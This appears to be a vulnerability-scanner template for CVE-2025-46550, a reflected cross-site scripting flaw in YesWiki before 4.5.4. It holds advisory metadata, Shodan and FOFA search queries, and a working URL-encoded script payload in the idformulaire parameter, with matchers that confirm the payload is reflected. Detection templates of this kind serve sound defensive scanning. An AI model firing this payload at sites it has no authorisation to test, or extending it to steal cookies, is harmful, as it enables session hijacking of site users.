Description
YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
id: CVE-2025-46550
info:
name: YesWiki < 4.5.4 - Cross-Site Scripting
author: MuhammadWaseem
severity: medium
description: |
YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
impact: |
Attackers can steal cookies, hijack user sessions, deface website, or embed malicious content.
remediation: |
Update to version 4.5.4 or later.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-ggqx-43h2-55jp
- https://nvd.nist.gov/vuln/detail/CVE-2025-46550
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2025-46550
epss-score: 0.00535
epss-percentile: 0.43839
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: yeswiki
product: yeswiki
shodan-query: http.html:"yeswiki"
fofa-query: body="yeswiki"
tags: cve,cve2025,xss,yeswiki,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?BazaR&vue=formulaire&action=confirm_delete&idformulaire=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>", "yeswiki")'
condition: and
# digest: 4a0a0047304502207f81329855f3832cd10dbd20b72d3a32bc2bd2343b2b00ceb00811ac147503bb022100d113fedfa9c6510474927789eb6d23cde7e1b1aa42767329aec2f4086f811253:922c64590222798bb761d5b6d8e72950
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